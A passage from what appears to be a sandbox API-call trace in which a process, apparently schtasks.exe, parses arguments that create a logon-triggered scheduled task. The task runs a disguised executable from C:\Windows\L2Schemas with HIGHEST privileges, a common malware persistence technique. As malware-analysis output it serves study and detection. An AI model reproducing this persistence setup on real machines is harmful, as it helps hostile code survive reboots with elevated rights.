_Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.914] lstrlenW (lpString="sc") returned 2 [0111.914] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.914] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|delete|") returned 8 [0111.914] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|sc|") returned 4 [0111.914] lstrlenW (lpString="|delete|") returned 8 [0111.914] lstrlenW (lpString="|sc|") returned 4 [0111.914] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0111.914] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.914] lstrlenW (lpString="query") returned 5 [0111.914] lstrlenW (lpString="query") returned 5 [0111.914] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.914] lstrlenW (lpString="sc") returned 2 [0111.914] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.914] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|query|") returned 7 [0111.914] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|sc|") returned 4 [0111.914] lstrlenW (lpString="|query|") returned 7 [0111.914] lstrlenW (lpString="|sc|") returned 4 [0111.914] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0111.914] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.914] lstrlenW (lpString="change") returned 6 [0111.915] lstrlenW (lpString="change") returned 6 [0111.915] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.915] lstrlenW (lpString="sc") returned 2 [0111.915] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.915] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|change|") returned 8 [0111.915] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|sc|") returned 4 [0111.915] lstrlenW (lpString="|change|") returned 8 [0111.915] lstrlenW (lpString="|sc|") returned 4 [0111.915] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0111.915] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.915] lstrlenW (lpString="run") returned 3 [0111.915] lstrlenW (lpString="run") returned 3 [0111.915] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.915] lstrlenW (lpString="sc") returned 2 [0111.915] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.915] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|run|") returned 5 [0111.915] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|sc|") returned 4 [0111.915] lstrlenW (lpString="|run|") returned 5 [0111.915] lstrlenW (lpString="|sc|") returned 4 [0111.915] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0111.915] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.915] lstrlenW (lpString="end") returned 3 [0111.915] lstrlenW (lpString="end") returned 3 [0111.915] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.915] lstrlenW (lpString="sc") returned 2 [0111.915] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.916] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|end|") returned 5 [0111.916] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|sc|") returned 4 [0111.916] lstrlenW (lpString="|end|") returned 5 [0111.916] lstrlenW (lpString="|sc|") returned 4 [0111.916] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0111.916] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.916] lstrlenW (lpString="showsid") returned 7 [0111.916] lstrlenW (lpString="showsid") returned 7 [0111.916] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.916] lstrlenW (lpString="sc") returned 2 [0111.916] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.916] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|showsid|") returned 9 [0111.916] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|sc|") returned 4 [0111.916] lstrlenW (lpString="|showsid|") returned 9 [0111.916] lstrlenW (lpString="|sc|") returned 4 [0111.916] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0111.916] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.916] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.916] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.916] lstrlenW (lpString="/sc") returned 3 [0111.916] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0111.916] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.916] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.916] lstrlenW (lpString="/sc") returned 3 [0111.916] GetProcessHeap () returned 0x144ec910000 [0111.916] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x8) returned 0x144ec914240 [0111.916] GetProcessHeap () returned 0x144ec910000 [0111.916] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b680 [0111.917] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.917] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.917] lstrlenW (lpString="ONLOGON") returned 7 [0111.917] lstrlenW (lpString="-/") returned 2 [0111.917] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0111.917] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.917] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.917] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.917] lstrlenW (lpString="ONLOGON") returned 7 [0111.917] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0111.917] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.917] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.917] lstrlenW (lpString="ONLOGON") returned 7 [0111.917] GetProcessHeap () returned 0x144ec910000 [0111.917] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x10) returned 0x144ec914260 [0111.917] GetProcessHeap () returned 0x144ec910000 [0111.917] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b4a0 [0111.917] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.917] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.917] lstrlenW (lpString="/tr") returned 3 [0111.917] lstrlenW (lpString="-/") returned 2 [0111.917] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0111.917] lstrlenW (lpString="?") returned 1 [0111.917] lstrlenW (lpString="?") returned 1 [0111.917] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.917] lstrlenW (lpString="tr") returned 2 [0111.917] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.918] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|?|") returned 3 [0111.918] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tr|") returned 4 [0111.918] lstrlenW (lpString="|?|") returned 3 [0111.918] lstrlenW (lpString="|tr|") returned 4 [0111.918] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.918] lstrlenW (lpString="create") returned 6 [0111.918] lstrlenW (lpString="create") returned 6 [0111.918] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.918] lstrlenW (lpString="tr") returned 2 [0111.918] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.918] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|create|") returned 8 [0111.918] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tr|") returned 4 [0111.918] lstrlenW (lpString="|create|") returned 8 [0111.918] lstrlenW (lpString="|tr|") returned 4 [0111.920] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0111.920] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.920] lstrlenW (lpString="delete") returned 6 [0111.920] lstrlenW (lpString="delete") returned 6 [0111.920] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.920] lstrlenW (lpString="tr") returned 2 [0111.920] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.920] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|delete|") returned 8 [0111.920] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tr|") returned 4 [0111.920] lstrlenW (lpString="|delete|") returned 8 [0111.920] lstrlenW (lpString="|tr|") returned 4 [0111.920] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0111.920] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.920] lstrlenW (lpString="query") returned 5 [0111.920] lstrlenW (lpString="query") returned 5 [0111.921] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.921] lstrlenW (lpString="tr") returned 2 [0111.921] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.921] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|query|") returned 7 [0111.921] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tr|") returned 4 [0111.921] lstrlenW (lpString="|query|") returned 7 [0111.921] lstrlenW (lpString="|tr|") returned 4 [0111.921] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0111.921] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.921] lstrlenW (lpString="change") returned 6 [0111.921] lstrlenW (lpString="change") returned 6 [0111.921] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.921] lstrlenW (lpString="tr") returned 2 [0111.921] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.921] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|change|") returned 8 [0111.921] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tr|") returned 4 [0111.921] lstrlenW (lpString="|change|") returned 8 [0111.921] lstrlenW (lpString="|tr|") returned 4 [0111.921] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0111.921] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.921] lstrlenW (lpString="run") returned 3 [0111.921] lstrlenW (lpString="run") returned 3 [0111.921] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.921] lstrlenW (lpString="tr") returned 2 [0111.921] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.922] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|run|") returned 5 [0111.922] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tr|") returned 4 [0111.922] lstrlenW (lpString="|run|") returned 5 [0111.922] lstrlenW (lpString="|tr|") returned 4 [0111.922] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0111.922] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.922] lstrlenW (lpString="end") returned 3 [0111.922] lstrlenW (lpString="end") returned 3 [0111.922] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.922] lstrlenW (lpString="tr") returned 2 [0111.922] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.922] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|end|") returned 5 [0111.922] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tr|") returned 4 [0111.922] lstrlenW (lpString="|end|") returned 5 [0111.922] lstrlenW (lpString="|tr|") returned 4 [0111.922] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0111.922] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.922] lstrlenW (lpString="showsid") returned 7 [0111.922] lstrlenW (lpString="showsid") returned 7 [0111.922] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.922] lstrlenW (lpString="tr") returned 2 [0111.922] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.922] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|showsid|") returned 9 [0111.922] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|tr|") returned 4 [0111.922] lstrlenW (lpString="|showsid|") returned 9 [0111.922] lstrlenW (lpString="|tr|") returned 4 [0111.923] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0111.923] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.923] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.923] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.923] lstrlenW (lpString="/tr") returned 3 [0111.923] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0111.923] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.923] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.923] lstrlenW (lpString="/tr") returned 3 [0111.923] GetProcessHeap () returned 0x144ec910000 [0111.923] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x8) returned 0x144ec914280 [0111.923] GetProcessHeap () returned 0x144ec910000 [0111.923] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b470 [0111.923] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.923] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.923] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0111.923] lstrlenW (lpString="-/") returned 2 [0111.923] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0111.923] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.923] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.923] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.923] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0111.923] StrChrIW (lpStart="'C:\\Windows\\L2Schemas\\pidgin.exe'", wMatch=0x3a) returned=":\\Windows\\L2Schemas\\pidgin.exe'" [0111.923] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0111.923] GetProcessHeap () returned 0x144ec910000 [0111.923] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec9142a0 [0111.923] _memicmp (_Buf1=0x144ec9142a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.923] GetProcessHeap () returned 0x144ec910000 [0111.923] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0xe) returned 0x144ec91a9f0 [0111.923] GetProcessHeap () returned 0x144ec910000 [0111.923] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec91ab10 [0111.924] _memicmp (_Buf1=0x144ec91ab10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.924] GetProcessHeap () returned 0x144ec910000 [0111.924] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x46) returned 0x144ec9142c0 [0111.924] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.924] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.924] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.924] lstrlenW (lpString="'C") returned 2 [0111.924] lstrlenW (lpString="-/") returned 2 [0111.924] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0111.924] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.924] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.924] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.924] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0111.924] GetProcessHeap () returned 0x144ec910000 [0111.924] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x44) returned 0x144ec91c3c0 [0111.924] GetProcessHeap () returned 0x144ec910000 [0111.924] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b6e0 [0111.924] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.924] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.924] lstrlenW (lpString="/rl") returned 3 [0111.924] lstrlenW (lpString="-/") returned 2 [0111.924] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0111.924] lstrlenW (lpString="?") returned 1 [0111.924] lstrlenW (lpString="?") returned 1 [0111.925] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.925] lstrlenW (lpString="rl") returned 2 [0111.925] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.925] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|?|") returned 3 [0111.925] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|rl|") returned 4 [0111.925] lstrlenW (lpString="|?|") returned 3 [0111.925] lstrlenW (lpString="|rl|") returned 4 [0111.925] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.925] lstrlenW (lpString="create") returned 6 [0111.925] lstrlenW (lpString="create") returned 6 [0111.925] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.925] lstrlenW (lpString="rl") returned 2 [0111.925] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.925] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|create|") returned 8 [0111.925] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|rl|") returned 4 [0111.925] lstrlenW (lpString="|create|") returned 8 [0111.925] lstrlenW (lpString="|rl|") returned 4 [0111.925] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0111.925] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.925] lstrlenW (lpString="delete") returned 6 [0111.925] lstrlenW (lpString="delete") returned 6 [0111.925] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.925] lstrlenW (lpString="rl") returned 2 [0111.925] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.925] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|delete|") returned 8 [0111.925] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|rl|") returned 4 [0111.926] lstrlenW (lpString="|delete|") returned 8 [0111.926] lstrlenW (lpString="|rl|") returned 4 [0111.926] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0111.926] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.926] lstrlenW (lpString="query") returned 5 [0111.926] lstrlenW (lpString="query") returned 5 [0111.926] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.926] lstrlenW (lpString="rl") returned 2 [0111.926] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.926] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|query|") returned 7 [0111.926] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|rl|") returned 4 [0111.926] lstrlenW (lpString="|query|") returned 7 [0111.926] lstrlenW (lpString="|rl|") returned 4 [0111.926] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0111.926] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.926] lstrlenW (lpString="change") returned 6 [0111.926] lstrlenW (lpString="change") returned 6 [0111.926] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.926] lstrlenW (lpString="rl") returned 2 [0111.926] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.926] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|change|") returned 8 [0111.926] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|rl|") returned 4 [0111.926] lstrlenW (lpString="|change|") returned 8 [0111.926] lstrlenW (lpString="|rl|") returned 4 [0111.926] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0111.926] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.926] lstrlenW (lpString="run") returned 3 [0111.927] lstrlenW (lpString="run") returned 3 [0111.927] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.927] lstrlenW (lpString="rl") returned 2 [0111.927] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.927] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|run|") returned 5 [0111.927] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|rl|") returned 4 [0111.927] lstrlenW (lpString="|run|") returned 5 [0111.927] lstrlenW (lpString="|rl|") returned 4 [0111.927] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0111.927] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.927] lstrlenW (lpString="end") returned 3 [0111.927] lstrlenW (lpString="end") returned 3 [0111.927] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.927] lstrlenW (lpString="rl") returned 2 [0111.927] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.927] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|end|") returned 5 [0111.927] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|rl|") returned 4 [0111.927] lstrlenW (lpString="|end|") returned 5 [0111.927] lstrlenW (lpString="|rl|") returned 4 [0111.927] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0111.927] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.927] lstrlenW (lpString="showsid") returned 7 [0111.927] lstrlenW (lpString="showsid") returned 7 [0111.927] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.927] lstrlenW (lpString="rl") returned 2 [0111.927] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.927] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|showsid|") returned 9 [0111.928] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|rl|") returned 4 [0111.928] lstrlenW (lpString="|showsid|") returned 9 [0111.928] lstrlenW (lpString="|rl|") returned 4 [0111.928] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0111.928] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.928] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.928] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.928] lstrlenW (lpString="/rl") returned 3 [0111.928] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0111.928] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.928] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.928] lstrlenW (lpString="/rl") returned 3 [0111.928] GetProcessHeap () returned 0x144ec910000 [0111.928] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x8) returned 0x144ec914310 [0111.928] GetProcessHeap () returned 0x144ec910000 [0111.928] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b980 [0111.928] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.928] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.928] lstrlenW (lpString="HIGHEST") returned 7 [0111.928] lstrlenW (lpString="-/") returned 2 [0111.928] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0111.928] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.928] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.928] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.928] lstrlenW (lpString="HIGHEST") returned 7 [0111.928] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0111.928] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.928] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.928] lstrlenW (lpString="HIGHEST") returned 7 [0111.928] GetProcessHeap () returned 0x144ec910000 [0111.928] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x10) returned 0x144ec91ab50 [0111.929] GetProcessHeap () returned 0x144ec910000 [0111.929] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b3e0 [0111.929] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.929] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.929] lstrlenW (lpString="/f") returned 2 [0111.929] lstrlenW (lpString="-/") returned 2 [0111.929] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0111.929] lstrlenW (lpString="?") returned 1 [0111.929] lstrlenW (lpString="?") returned 1 [0111.929] _memicmp 